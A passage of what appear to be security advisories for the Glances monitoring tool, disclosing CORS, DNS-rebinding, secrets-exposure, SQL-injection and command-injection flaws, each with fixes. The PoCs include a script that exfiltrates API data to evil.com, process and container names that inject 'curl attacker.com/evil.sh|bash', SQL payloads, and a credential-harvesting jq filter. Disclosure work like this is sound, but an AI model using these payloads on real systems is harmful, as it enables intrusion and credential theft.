clientmod = types.ModuleType('glances.client') class GlancesClientTransport(defusedxmlrpc.xmlrpcclient.Transport): def settimeout(self, timeout): self.timeout = timeout clientmod.GlancesClientTransport = GlancesClientTransport sys.modules['glances.client'] = clientmod
globalsmod = types.ModuleType('glances.globals') globalsmod.jsonloads = json.loads sys.modules['glances.globals'] = globalsmod
loggermod = types.ModuleType('glances.logger') loggermod.logger = types.SimpleNamespace( debug=lambda a, k: None, warning=lambda a, k: None, info=lambda a, k: None, error=lambda a, k: None, ) sys.modules['glances.logger'] = loggermod
passwordlistmod = types.ModuleType('glances.passwordlist') class GlancesPasswordList: pass passwordlistmod.GlancesPasswordList = GlancesPasswordList sys.modules['glances.passwordlist'] = passwordlistmod
dynamicmod = types.ModuleType('glances.serverslistdynamic') class GlancesAutoDiscoverServer: pass dynamicmod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer sys.modules['glances.serverslistdynamic'] = dynamicmod
staticmod = types.ModuleType('glances.serversliststatic') class GlancesStaticServer: pass staticmod.GlancesStaticServer = GlancesStaticServer sys.modules['glances.serversliststatic'] = staticmod
spec = importlib.util.specfromfilelocation('testedserverslist', Path('glances/serverslist.py')) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod) GlancesServersList = mod.GlancesServersList
class Handler(BaseHTTPRequestHandler): def doPOST(self): = self.rfile.read(int(self.headers.get('Content-Length', '0'))) self.sendresponse(401) self.endheaders() def logmessage(self, args): pass
httpd = HTTPServer(('127.0.0.1', 0), Handler) port = httpd.serveraddress[1] thread = threading.Thread(target=httpd.serveforever, daemon=True) thread.start()
class FakePassword: def getpassword(self, host=None): return 'defaultpassword' def gethash(self, password): return f'hash({password})'
sl = GlancesServersList.new(GlancesServersList) sl.password = FakePassword() sl.columns = [{'plugin': 'system', 'field': 'hrname'}] server = { 'key': f'target:{port}', 'name': '127.0.0.1', 'ip': '203.0.113.77', 'port': port, 'protocol': 'rpc', 'username': 'glances', 'password': '', 'status': 'UNKNOWN', 'type': 'STATIC', } sl.getserverslist = lambda: [server]
sl.GlancesServersListupdatestats(server) sl.GlancesServersListupdatestats(server) httpd.shutdown() thread.join(timeout=2) print(json.dumps(sl.getserverslist(), indent=2)) '@ | python -
Verified output:
json [ { "key": "target:57390", "name": "127.0.0.1", "ip": "203.0.113.77", "port": 57390, "protocol": "rpc", "username": "glances", "password": null, "status": "PROTECTED", "type": "STATIC", "uri": "http://glances:hash(defaultpassword)@127.0.0.1:57390", "columns": [ "systemhrname" ] } ]
This is the same raw object shape that /api/4/serverslist returns.
Step 2: Remote reproduction on a live Browser instance
1. Configure Glances Browser mode with a saved default password for downstream servers:
ini [passwords] default=SuperSecretBrowserPassword
2. Start the Browser/API instance without front-end authentication:
bash glances --browser -w -C ./glances.conf
3. Ensure at least one protected downstream server is polled and marked PROTECTED.
4. From any machine that can reach the Glances Browser API, fetch the raw server list:
bash curl -s http://TARGET:61208/api/4/serverslist
5. Observe entries like:
json { "name": "internal-glances.example", "status": "PROTECTED", "uri": "http://glances:<pbkdf2hash>@internal-glances.example:61209" }
Impact
- Unauthenticated credential disclosure: When the front Browser API runs without --password, any reachable user can retrieve downstream Glances authentication secrets from /api/4/serverslist. - Credential replay: The disclosed pbkdf2-derived hash is the effective Glances client secret and can be replayed against downstream Glances servers using the same password. - Fleet-wide blast radius: A single Browser instance can hold passwords for many downstream servers via host-specific entries or [passwords] default, so one exposed API can disclose credentials for an entire monitored fleet. - Chains with the earlier CORS issue: Even when the front instance uses --password, the permissive default CORS behavior can let a malicious website read /api/4/serverslist from an authenticated browser session and steal the same downstream credentials cross-origin.
Recommended Fix
Do not expose credential-bearing fields in API responses. At minimum, strip uri, password, and any derived credential material from /api/4/serverslist responses and make the frontend derive navigation targets without embedded auth.
python glances/outputs/glancesrestfulapi.py
def sanitizeserver(self, server): safe = dict(server) safe.pop('password', None) safe.pop('uri', None) return safe
def apiserverslist(self): self.updateserverslist() servers = self.serverslist.getserverslist() if self.serverslist else [] return GlancesJSONResponse([self.sanitizeserver(server) for server in servers])
And in the Browser WebUI, construct navigation URLs from non-secret fields (ip, name, port, protocol) instead of trusting a backend-supplied server.uri.
Summary
Glances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary Host headers and does not apply TrustedHostMiddleware or an equivalent host allowlist.
As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.
This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.
Details
The MCP endpoint now has explicit host-based transport security:
python glances/outputs/glancesmcp.py self.mcpallowedhosts = ["localhost", "127.0.0.1"] ... return TransportSecuritySettings( allowedhosts=allowedhosts, allowedorigins=allowedorigins, )
However, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:
python glances/outputs/glancesrestfulapi.py self.app = FastAPI(defaultresponseclass=GlancesJSONResponse) ... self.app.addmiddleware( CORSMiddleware, alloworigins=config.getlistvalue('outputs', 'corsorigins', default=[""]), allowcredentials=config.getboolvalue('outputs', 'corscredentials', default=True), allowmethods=config.getlistvalue('outputs', 'corsmethods', default=[""]), allowheaders=config.getlistvalue('outputs', 'corsheaders', default=[""]), ) ... if self.args.password and self.jwthandler is not None: self.app.includerouter(self.tokenrouter()) self.app.includerouter(self.router())
There is no TrustedHostMiddleware, no comparison against the configured bind host, and no allowlist enforcement for HTTP Host values on the REST/WebUI surface.
The default bind configuration also exposes the service on all interfaces:
python glances/main.py parser.addargument( '-B', '--bind', default='0.0.0.0', dest='bindaddress', help='bind server to the given IPv4/IPv6 address or hostname', )
This combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.
The token endpoint is also mounted on the same unprotected FastAPI app:
python glances/outputs/glancesrestfulapi.py def tokenrouter(self) -> APIRouter: ... router.addapiroute(f'{basepath}/token', self.apitoken, methods=['POST'], dependencies=[])
Why This Is Exploitable
In a DNS rebinding attack:
1. The attacker serves JavaScript from https://attacker.example. 2. The victim visits that page while a Glances instance is reachable on the victim network. 3. The attacker's DNS for attacker.example is rebound from the attacker's server to the Glances IP address. 4. The victim browser now sends same-origin requests to https://attacker.example, but those requests are delivered to Glances. 5. Because the Glances REST/WebUI app does not validate the Host header or enforce an allowed-host policy, it serves the response. 6. The attacker-controlled JavaScript can read the response as same-origin content.
The MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.
Proof of Concept
This issue is code-validated by inspection of the current implementation:
- REST/WebUI/token are all mounted on a plain FastAPI(...) app - no TrustedHostMiddleware or equivalent host validation is applied - default bind is 0.0.0.0 - MCP has separate rebinding protection, showing the project already recognizes the threat model
In a live deployment, the expected verification is:
bash Victim-accessible Glances service glances -w
Attacker-controlled rebinding domain first resolves to attacker infra, then rebinds to the victim-local Glances IP. After rebind, attacker JS can fetch: fetch("http://attacker.example:61208/api/4/status") .then(r => r.text()) .then(console.log)
And if the operator exposes Glances without --password (supported and common), the attacker can read endpoints such as:
bash GET /api/4/status GET /api/4/all GET /api/4/config GET /api/4/args GET /api/4/serverslist
Even on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.
Impact
- Remote read of local/internal REST data: DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context. - Bypass of origin-based browser isolation: Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin. - High-value chaining surface: This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints. - Token surface exposure: The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.
Recommended Fix
Apply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:
python from starlette.middleware.trustedhost import TrustedHostMiddleware
allowedhosts = config.getlistvalue( 'outputs', 'allowedhosts', default=['localhost', '127.0.0.1'], )
self.app.addmiddleware(TrustedHostMiddleware, allowedhosts=allowedhosts)
At minimum:
- reject requests whose Host header does not match an explicit allowlist - do not rely on 0.0.0.0 bind semantics as an access-control boundary - document that reverse-proxy deployments must set a strict host allowlist
References
- glances/outputs/glancesmcp.py - glances/outputs/glancesrestfulapi.py - glances/main.py
Summary
The GHSA-x46r fix (commit 39161f0) addressed SQL injection in the TimescaleDB export module by converting all SQL operations to use parameterized queries and psycopg.sql composable objects. However, the DuckDB export module (glances/exports/glancesduckdb/init.py) was not included in this fix and contains the same class of vulnerability: table names and column names derived from monitoring statistics are directly interpolated into SQL statements via f-strings. While DuckDB INSERT values already use parameterized queries (? placeholders), the DDL construction and table name references do not escape or parameterize identifier names.
Details
The DuckDB export module constructs SQL DDL statements by directly interpolating stat field names and plugin names into f-strings.
Vulnerable CREATE TABLE construction (glances/exports/glancesduckdb/init.py:156-162):
python createquery = f""" CREATE TABLE {plugin} ( {', '.join(creationlist)} );""" self.client.execute(createquery)
The creationlist is built from stat dictionary keys in the update() method (glances/exports/glancesduckdb/init.py:117-118):
python for key, value in pluginstats.items(): creationlist.append(f"{key} {converttypes[type(self.normalize(value)).name]}")
The INSERT statement also uses the unescaped plugin name (glances/exports/glancesduckdb/init.py:172-174):
python insertquery = f""" INSERT INTO {plugin} VALUES ( {', '.join(['?' for in values])} );"""
While INSERT values use ? placeholders (safe), the table name {plugin} is directly interpolated in both CREATE TABLE and INSERT INTO statements. Column names in creationlist are also directly interpolated without quoting.
Comparison with the TimescaleDB fix (commit 39161f0):
The TimescaleDB fix addressed this exact pattern by: 1. Using psycopg.sql.Identifier() for table and column names 2. Using psycopg.sql.SQL() for composing queries 3. Using %s placeholders for all values
The DuckDB module was not part of this fix despite having the same vulnerability class.
Attack vector:
The primary attack vector is through stat dictionary keys. While most keys come from hardcoded psutil field names (e.g., cpupercent, memoryusage), any future plugin that introduces dynamic keys from external data (container labels, custom metrics, user-defined sensor names) would create an exploitable injection path. Additionally, the table name (plugin) comes from the internal plugins list, but any custom plugin with a crafted name could inject SQL.
PoC
The injection is demonstrable when column or table names contain SQL metacharacters:
python Simulated injection via a hypothetical plugin with dynamic keys If a stat dict contained a key like: "cpupercent BIGINT); DROP TABLE cpu; --" The creationlist would produce: "cpupercent BIGINT); DROP TABLE cpu; -- VARCHAR" Which in the CREATE TABLE f-string becomes: CREATE TABLE pluginname ( time TIMETZ, hostnameid VARCHAR, cpupercent BIGINT); DROP TABLE cpu; -- VARCHAR );
bash Verify with DuckDB export enabled: 1. Configure DuckDB export in glances.conf: [duckdb] database=/tmp/glances.duckdb
2. Start Glances with DuckDB export and debug logging glances --export duckdb --debug 2>&1 | grep "Create table"
3. Observe the unescaped SQL in debug output
Impact
- Defense-in-depth gap: The identical vulnerability pattern was identified and fixed in TimescaleDB (GHSA-x46r) but the fix was not applied to the sibling DuckDB module. This represents an incomplete patch that leaves the same attack surface open through a different code path.
- Future exploitability: If any Glances plugin is added or modified to produce stat dictionary keys from external/user-controlled data (e.g., container metadata, custom metric names, SNMP OID labels), the DuckDB export would become immediately exploitable for SQL injection without any additional code changes.
- Data integrity: A successful injection in the CREATE TABLE statement could corrupt the DuckDB database, create unauthorized tables, or modify schema in ways that affect other applications reading from the same database file.
Recommended Fix
Apply the same parameterization approach used in the TimescaleDB fix. DuckDB supports identifier quoting with double quotes:
python glances/exports/glancesduckdb/init.py
def quoteidentifier(name): """Quote a SQL identifier to prevent injection.""" # DuckDB uses double-quote escaping for identifiers return '"' + name.replace('"', '""') + '"'
def export(self, plugin, creationlist, valueslist): """Export the stats to the DuckDB server.""" logger.debug(f"Export {plugin} stats to DuckDB")
tablelist = [t[0] for t in self.client.sql("SHOW TABLES").fetchall()] if plugin not in tablelist: # Quote table and column names to prevent injection quotedplugin = quoteidentifier(plugin) quotedfields = [] for item in creationlist: parts = item.split(' ', 1) colname = quoteidentifier(parts[0]) coltype = parts[1] if len(parts) > 1 else 'VARCHAR' quotedfields.append(f"{colname} {coltype}")
createquery = f"CREATE TABLE {quotedplugin} ({', '.join(quotedfields)});" try: self.client.execute(createquery) except Exception as e: logger.error(f"Cannot create table {plugin}: {e}") return
self.client.commit()
# Insert with quoted table name quotedplugin = quoteidentifier(plugin) for values in valueslist: insertquery = f"INSERT INTO {quotedplugin} VALUES ({', '.join(['?' for in values])});" try: self.client.execute(insertquery, values) except Exception as e: logger.error(f"Cannot insert data into table {plugin}: {e}")
self.client.commit()
Summary
The Glances REST API web server ships with a default CORS configuration that sets alloworigins=[""] combined with allowcredentials=True. When both of these options are enabled together, Starlette's CORSMiddleware reflects the requesting Origin header value in the Access-Control-Allow-Origin response header instead of returning the literal wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance.
Details
The CORS configuration is set up in glances/outputs/glancesrestfulapi.py lines 290-299:
python glances/outputs/glancesrestfulapi.py:290-299 FastAPI Enable CORS https://fastapi.tiangolo.com/tutorial/cors/ self.app.addmiddleware( CORSMiddleware, # Related to https://github.com/nicolargo/glances/issues/2812 alloworigins=config.getlistvalue('outputs', 'corsorigins', default=[""]), allowcredentials=config.getboolvalue('outputs', 'corscredentials', default=True), allowmethods=config.getlistvalue('outputs', 'corsmethods', default=[""]), allowheaders=config.getlistvalue('outputs', 'corsheaders', default=[""]), )
The defaults are loaded from the config file, but when no config is provided (which is the common case for most deployments), the defaults are: - corsorigins = [""] (all origins) - corscredentials = True (allow credentials)
Per the CORS specification, browsers should not send credentials when Access-Control-Allow-Origin: . However, Starlette's CORSMiddleware implements a workaround: when alloworigins=[""] and allowcredentials=True, the middleware reflects the requesting origin in the response header instead of using . This means:
1. Attacker hosts https://evil.com/steal.html 2. Victim (who has authenticated to Glances via browser Basic Auth dialog) visits that page 3. JavaScript on evil.com makes fetch("http://glances-server:61208/api/4/config", {credentials: "include"}) 4. The browser sends the stored Basic Auth credentials 5. Starlette responds with Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true 6. The browser allows JavaScript to read the response 7. Attacker exfiltrates the configuration including sensitive data
When Glances is running without --password (the default for most internal network deployments), no authentication is required at all. Any website can directly read all API endpoints including system stats, process lists, configuration, and command line arguments.
PoC
Step 1: Attacker hosts a malicious page.
html <!-- steal-glances.html hosted on attacker's server --> <script> async function steal() { const target = "http://glances-server:61208"; // Steal system stats (processes, CPU, memory, network, disk) const all = await fetch(target + "/api/4/all", {credentials: "include"}); const allData = await all.json(); // Steal configuration (may contain database passwords, API keys) const config = await fetch(target + "/api/4/config", {credentials: "include"}); const configData = await config.json(); // Steal command line args (contains password hash, SNMP creds) const args = await fetch(target + "/api/4/args", {credentials: "include"}); const argsData = await args.json(); // Exfiltrate to attacker fetch("https://evil.com/collect", { method: "POST", body: JSON.stringify({all: allData, config: configData, args: argsData}) }); } steal(); </script>
Step 2: Verify CORS headers (without auth, default Glances).
bash Start Glances web server (default, no password) glances -w
From a different origin, verify the CORS headers curl -s -D- -o /dev/null \ -H "Origin: https://evil.com" \ http://localhost:61208/api/4/all
Expected response headers include: Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true
Step 3: Verify data theft (without auth).
bash curl -s http://localhost:61208/api/4/all | python -m json.tool | head -20 curl -s http://localhost:61208/api/4/config | python -m json.tool curl -s http://localhost:61208/api/4/args | python -m json.tool
Step 4: With authentication enabled, verify CORS still allows cross-origin credentialed requests.
bash Start Glances with password glances -w --password
Preflight request with credentials curl -s -D- -o /dev/null \ -X OPTIONS \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: GET" \ -H "Access-Control-Request-Headers: Authorization" \ http://localhost:61208/api/4/all
Expected: Access-Control-Allow-Origin: https://evil.com Expected: Access-Control-Allow-Credentials: true
Impact
- Without --password (default): Any website visited by a user on the same network can silently read all Glances API endpoints, including complete system monitoring data (process list with command lines, CPU/memory/disk stats, network interfaces and IP addresses, filesystem mounts, Docker container info), configuration file contents (which may contain database passwords, export backend credentials, API keys), and command line arguments.
- With --password: If the user has previously authenticated via the browser's Basic Auth dialog (which caches credentials), any website can make cross-origin requests that carry those cached credentials. This allows exfiltration of all the above data plus the password hash itself (via /api/4/args).
- Network reconnaissance: An attacker can use this to map internal network infrastructure by having victims visit a page that probes common Glances ports (61208) on internal IPs.
- Chained with POST endpoints: The CORS policy also allows POST methods, enabling an attacker to clear event logs (/api/4/events/clear/all) or modify process monitoring (/api/4/processes/extended/{pid}).
Recommended Fix
Change the default CORS credentials setting to False, and when credentials are enabled, require explicit origin configuration instead of wildcard:
python glances/outputs/glancesrestfulapi.py
Option 1: Change default to not allow credentials with wildcard origins corsorigins = config.getlistvalue('outputs', 'corsorigins', default=[""]) corscredentials = config.getboolvalue('outputs', 'corscredentials', default=False) # Changed from True
Option 2: Reject the insecure combination at startup if corsorigins == [""] and corscredentials: logger.warning( "CORS: alloworigins='' with allowcredentials=True is insecure. " "Setting allowcredentials to False. Configure specific origins to enable credentials." ) corscredentials = False
self.app.addmiddleware( CORSMiddleware, alloworigins=corsorigins, allowcredentials=corscredentials, allowmethods=config.getlistvalue('outputs', 'corsmethods', default=["GET"]), # Also restrict methods allowheaders=config.getlistvalue('outputs', 'corsheaders', default=[""]), )
Summary
The GHSA-gh4x fix (commit 5d3de60) addressed unauthenticated configuration secrets exposure on the /api/v4/config endpoints by introducing asdictsecure() redaction. However, the /api/v4/args and /api/v4/args/{item} endpoints were not addressed by this fix. These endpoints return the complete command-line arguments namespace via vars(self.args), which includes the password hash (salt + pbkdf2hmac), SNMP community strings, SNMP authentication keys, and the configuration file path. When Glances runs without --password (the default), these endpoints are accessible without any authentication.
Details
The secrets exposure fix (GHSA-gh4x, commit 5d3de60) modified three config-related endpoints to use asdictsecure() when no password is configured:
python glances/outputs/glancesrestfulapi.py:1168 (FIXED) argsjson = self.config.asdict() if self.args.password else self.config.asdictsecure()
However, the apiargs and apiargsitem endpoints were not part of this fix and still return all arguments without any sanitization:
python glances/outputs/glancesrestfulapi.py:1222-1237 def apiargs(self): try: # Get the RAW value of the args dict # Use vars to convert namespace to dict argsjson = vars(self.args) except Exception as e: raise HTTPException(status.HTTP404NOTFOUND, f"Cannot get args ({str(e)})")
return GlancesJSONResponse(argsjson)
And the item-specific endpoint:
python glances/outputs/glancesrestfulapi.py:1239-1258 def apiargsitem(self, item: str): ... argsjson = vars(self.args)[item] return GlancesJSONResponse(argsjson)
The self.args namespace contains sensitive fields set during initialization in glances/main.py:
1. password (line 806-819): When --password is used, this contains the salt + pbkdf2hmac hash. An attacker can use this for offline brute-force attacks.
2. snmpcommunity (line 445): Default "public", but may be set to a secret community string for SNMP monitoring.
3. snmpuser (line 448): SNMP v3 username, default "private".
4. snmpauth (line 450): SNMP v3 authentication key, default "password" but typically set to a secret value.
5. conffile (line 198): Path to the configuration file, reveals filesystem structure.
6. username (line 430/800): The Glances authentication username.
Both endpoints are registered on the authenticated router (line 504-505): python f'{basepath}/args': self.apiargs, f'{basepath}/args/{{item}}': self.apiargsitem,
When --password is not set (the default), the router has NO authentication dependency (line 479-480), making these endpoints completely unauthenticated: python if self.args.password: router = APIRouter(prefix=self.urlprefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.urlprefix)
PoC
Scenario 1: No password configured (default deployment)
bash Start Glances in web server mode (default, no password) glances -w
Access all command line arguments without authentication curl -s http://localhost:61208/api/4/args | python -m json.tool
Expected output includes sensitive fields: "password": "", "snmpcommunity": "public", "snmpuser": "private", "snmpauth": "password", "username": "glances", "conffile": "/home/user/.config/glances/glances.conf",
Access specific sensitive argument curl -s http://localhost:61208/api/4/args/snmpcommunity curl -s http://localhost:61208/api/4/args/snmpauth
Scenario 2: Password configured (authenticated deployment)
bash Start Glances with password authentication glances -w --password --username admin
Authenticate and access args (password hash exposed to authenticated users) curl -s -u admin:mypassword http://localhost:61208/api/4/args/password Returns the salt$pbkdf2hmac hash which enables offline brute-force
Impact
- Unauthenticated network reconnaissance: When Glances runs without --password (the common default for internal/trusted networks), anyone who can reach the web server can enumerate SNMP credentials, usernames, file paths, and all runtime configuration.
- Offline password cracking: When authentication is enabled, an authenticated user can retrieve the password hash (salt + pbkdf2hmac) and perform offline brute-force attacks. The hash uses pbkdf2hmac with SHA-256 and 100,000 iterations (see glances/password.py:45), which provides some protection but is still crackable with modern hardware.
- Lateral movement: Exposed SNMP community strings and v3 authentication keys can be used to access other network devices monitored by the Glances instance.
- Supply chain for CORS attack: Combined with the default CORS misconfiguration (finding 001), these secrets can be stolen cross-origin by a malicious website.
Recommended Fix
Apply the same redaction pattern used for the /api/v4/config endpoints:
python glances/outputs/glancesrestfulapi.py
SENSITIVEARGS = frozenset({ 'password', 'snmpcommunity', 'snmpuser', 'snmpauth', 'conffile', 'passwordprompt', 'usernameused', })
def apiargs(self): try: argsjson = vars(self.args).copy() if not self.args.password: for key in SENSITIVEARGS: if key in argsjson: argsjson[key] = "" # Never expose the password hash, even to authenticated users if 'password' in argsjson and argsjson['password']: argsjson['password'] = "" except Exception as e: raise HTTPException(status.HTTP404NOTFOUND, f"Cannot get args ({str(e)})") return GlancesJSONResponse(argsjson)
def apiargsitem(self, item: str): if item not in self.args: raise HTTPException(status.HTTP400BADREQUEST, f"Unknown argument item {item}") try: if item in SENSITIVEARGS: if not self.args.password: return GlancesJSONResponse("") if item == 'password': return GlancesJSONResponse("") argsjson = vars(self.args)[item] except Exception as e: raise HTTPException(status.HTTP404NOTFOUND, f"Cannot get args item ({str(e)})") return GlancesJSONResponse(argsjson)
Summary
The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The securepopen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.
Details
The action execution flow:
1. Admin configures an action in glances.conf (documented feature):
ini [cpu] criticalaction=echo "High CPU on {{name}}" | mail admin@example.com
2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
python self.actions.run(statname, trigger, command, repeat, mustachedict=mustachedict)
3. The mustachedict contains the full stat dictionary, including user-controllable fields like process name, filesystem mntpoint, container name, etc. (glances/plugins/plugin/model.py:920-943).
4. In glances/actions.py:77-78, the Mustache library renders the template:
python if chevrontag: cmdfull = chevron.render(cmd, mustachedict)
5. The rendered command is passed to securepopen() (glances/actions.py:84):
python ret = securepopen(cmdfull)
The securepopen vulnerability (glances/secure.py:17-30):
python def securepopen(cmd): ret = "" for c in cmd.split("&&"): ret += securepopen(c) return ret
And securepopen() (glances/secure.py:33-77) splits by > and | then calls Popen(subcmdsplit, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.
Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:
python if stdoutredirect is not None: with open(stdoutredirect, "w") as stdoutredirectfile: stdoutredirectfile.write(ret)
PoC
Scenario 1: Command injection via pipe in process name
bash 1. Admin configures processlist action in glances.conf: [processlist] criticalaction=echo "ALERT: {{name}} used {{cpupercent}}% CPU" >> /tmp/alerts.log
2. Attacker creates a process with a crafted name containing a pipe: cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash" "/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
3. When the process triggers a critical alert, securepopen splits by |: Command 1: echo "ALERT: innocent Command 2: curl attacker.com/evil.sh <-- INJECTED Command 3: bash used 99% CPU" >> /tmp/alerts.log
Scenario 2: Command chain via && in container name
bash 1. Admin configures containers action: [containers] criticalaction=docker stats {{name}} --no-stream
2. Attacker names a Docker container with && injection: docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
3. securepopen splits by &&: Command 1: docker stats web Command 2: curl attacker.com/rev.sh | bash <-- INJECTED Command 3: echo --no-stream
Impact
- Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
- Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
- Arbitrary file write: The > redirect handling in securepopen enables writing arbitrary content to arbitrary file paths.
- Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.
Recommended Fix
Sanitize Mustache-rendered values before securepopen processes them:
python glances/actions.py
def escapeforsecurepopen(value): """Escape characters that securepopen treats as operators.""" if not isinstance(value, str): return value value = value.replace("&&", " ") value = value.replace("|", " ") value = value.replace(">", " ") return value
def run(self, statname, criticality, commands, repeat, mustachedict=None): for cmd in commands: if chevrontag: if mustachedict: safedict = { k: escapeforsecurepopen(v) if isinstance(v, str) else v for k, v in mustachedict.items() } else: safedict = mustachedict cmdfull = chevron.render(cmd, safedict) else: cmdfull = cmd ...
Summary Glances web server runs without authentication by default when started with glances -w, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client.
Details Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints.
Affected Code: - File: glances/outputs/glancesrestfulapi.py, lines 259-272
python if self.args.password: self.password = GlancesPassword(username=args.username, config=config) if JWTAVAILABLE: jwtsecret = config.getvalue('outputs', 'jwtsecretkey', default=None) jwtexpire = config.getintvalue('outputs', 'jwtexpireminutes', default=60) self.jwthandler = JWTHandler(secretkey=jwtsecret, expireminutes=jwtexpire) logger.info(f"JWT authentication enabled (token expiration: {jwtexpire} minutes)") else: self.jwthandler = None logger.info("JWT authentication not available (python-jose not installed)") else: self.password = None # NO AUTHENTICATION BY DEFAULT self.jwthandler = None
- File: glances/outputs/glancesrestfulapi.py, lines 477-480
python if self.args.password: router = APIRouter(prefix=self.urlprefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.urlprefix) # NO AUTH DEPENDENCY
- File: glances/outputs/glancesrestfulapi.py, lines 98-99
python self.bindaddress = args.bindaddress or "0.0.0.0" # BINDS TO ALL INTERFACES self.port = args.port or 61208
- File: glances/plugins/processlist/init.py, lines 127-140
python enablestats = [ 'cpupercent', 'memorypercent', 'memoryinfo', 'pid', 'username', 'cputimes', 'numthreads', 'nice', 'status', 'iocounters', 'cpunum', 'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION ]
PoC
1. Start Glances in default web server mode: bash glances -w Output: Glances Web User Interface started on http://0.0.0.0:61208/
2. Access API without authentication from any network client: bash curl -s http://TARGET:61208/api/4/system | jq .
<img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" />
3. Extract system information: bash curl -s http://TARGET:61208/api/4/all > systemdump.json <img width="688" height="547" alt="image" src="https://github.com/user-attachments/assets/7564fb2a-7d94-4c26-848a-03034214b8c7" />
4. Harvest credentials from process list: bash curl -s http://TARGET:61208/api/4/processlist | \ jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) | {pid, username, process: .name, cmdline}'
5. Example credential exposure: json { "pid": 4059, "username": "root", "process": "python3", "cmdline": [ "python3", "-c", "import time; time.sleep(3600)", "--api-key=sk-super-secret-token-12345", "--password=MySecretPassword123", "--db-pass=admin123" ] }
Impact
Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.
Summary
The TimescaleDB export module constructs SQL queries using string concatenation with unsanitized system monitoring data. The normalize() method wraps string values in single quotes but does not escape embedded single quotes, making SQL injection trivial via attacker-controlled data such as process names, filesystem mount points, network interface names, or container names.
Root Cause: The normalize() function uses f"'{value}'" for string values without escaping single quotes within the value. The resulting strings are concatenated into INSERT queries via string formatting and executed directly with cur.execute() — no parameterized queries are used.
Affected Code - File: glances/exports/glancestimescaledb/init.py, lines 79-93 (normalize function) def normalize(self, value): """Normalize the value to be exportable to TimescaleDB.""" if value is None: return 'NULL' if isinstance(value, bool): return str(value).upper() if isinstance(value, (list, tuple)): # Special case for list of one boolean if len(value) == 1 and isinstance(value[0], bool): return str(value[0]).upper() return ', '.join([f"'{v}'" for v in value]) if isinstance(value, str): return f"'{value}'" # <-- NO ESCAPING of single quotes within value
return f"{value}"
- File: glances/exports/glancestimescaledb/init.py, lines 201-205 (query construction) Insert the data insertlist = [f"({','.join(i)})" for i in valueslist] insertquery = f"INSERT INTO {plugin} VALUES {','.join(insertlist)};" logger.debug(f"Insert data into table: {insertquery}") try: cur.execute(insertquery) # <-- Direct execution of concatenated SQL
PoC - As a normal user, create a process with the name containing the SQL Injection payload: exec -a "x'); COPY (SELECT version()) TO '/tmp/sqliproof.txt' --" python3 -c 'import time; [sum(range(500000)) or time.sleep(0.01) for in iter(int, 1)]' - Start Glances with TimescaleDB export as root user: glances --export timescaledb --export-process-filter "." --time 5 --stdout cpu - Observe that sqliproof.txt is created in /tmp directory.
Impact
- Data Destruction: DROP TABLE, DELETE, TRUNCATE operations against the TimescaleDB database. - Data Exfiltration: Using COPY ... TO or subqueries to extract data from other tables. - Potential RCE: Via PostgreSQL extensions like COPY ... PROGRAM which executes OS commands. - Privilege Escalation: Any local user who can create a process with a crafted name can inject SQL into the database, potentially compromising the entire PostgreSQL instance.
